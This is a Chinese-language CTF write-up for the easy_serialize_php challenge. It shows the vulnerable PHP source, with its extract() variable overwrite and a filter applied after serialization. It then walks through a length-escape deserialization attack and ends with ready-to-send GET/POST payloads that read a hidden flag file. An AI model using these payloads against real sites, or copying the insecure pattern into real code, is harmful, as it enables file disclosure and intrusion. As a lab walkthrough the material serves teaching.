[安洵杯 2019]easy_serialize_php
反序列化
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}//正则替换,替换为空,构成反序列化长度逃逸的关键
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//序列化,再逃逸,很明显就是长度逃逸了
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
提示phpinfo里面会有东西,在里面搜一搜fopen、disable_、root等等敏感点,找到一个d0g3_f1ag.php
extract函数
:将变量从数组中导入当前的符号表,这里就是把post数组里的取出来变成php变量,就比如我们post传a=123,那它经过这个函数就变成了$a=123。而且它默认在变量名冲突的时候进行覆盖,这就导致了变量覆盖漏洞。
思路大概是:
- 我们要令img的值为base64编码之后的d0g3_f1ag.php也就是(ZDBnM19mMWFnLnBocA==)
- 但是我们无法直接控制img的值
- session数组经过序列化之后还经过了一遍过滤,形成了漏洞
- 通过这个漏洞我们可以令假的img的值变成真的
<?php
$_SESSION["user"]='xxxxxxxxxxxxxxxxxxxxxxxx';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
结果为
a:3:{s:4:"user";s:24:"xxxxxxxxxxxxxxxxxxxxxxxx";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
现在假的img还属于字符串的一部分,我们要让它变成真的就要把
给吞掉
那就要用到过滤函数了,如果我们把xxxxxxxxxxxxxxxxxxxxxxxx换成六个flag呢
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
经过过滤之后
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这一部分24个字符就成了新的user的值
这一部分就完成了偷天换日,偷梁换柱,以假乱真,因为用}闭合了,所以后面一部分就被丢掉了
序列化的结果就是
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
所以第一种payload
get:?f=show_image
post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:3:"666";}
get:?f=show_image
post: _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:3:"666";}
第二种payload
除了改值以外还有一种发方法是键名,原理也是一样的
我们的目的是构成下面这个样子,令img不为一个键,也就无法加密
{s:x:"x";s:49:";s:2:"nb";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";}
要让";s:49:
被吞掉,也就是七个字符
{s:7:"flagphp";s:49:";s:2:"nb";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";}
过滤之后
{s:7:"";s:49:";s:2:"nb";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}";}
payload
get:?f=show_image
post:_SESSION[flagphp]=;s:2:"nb";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}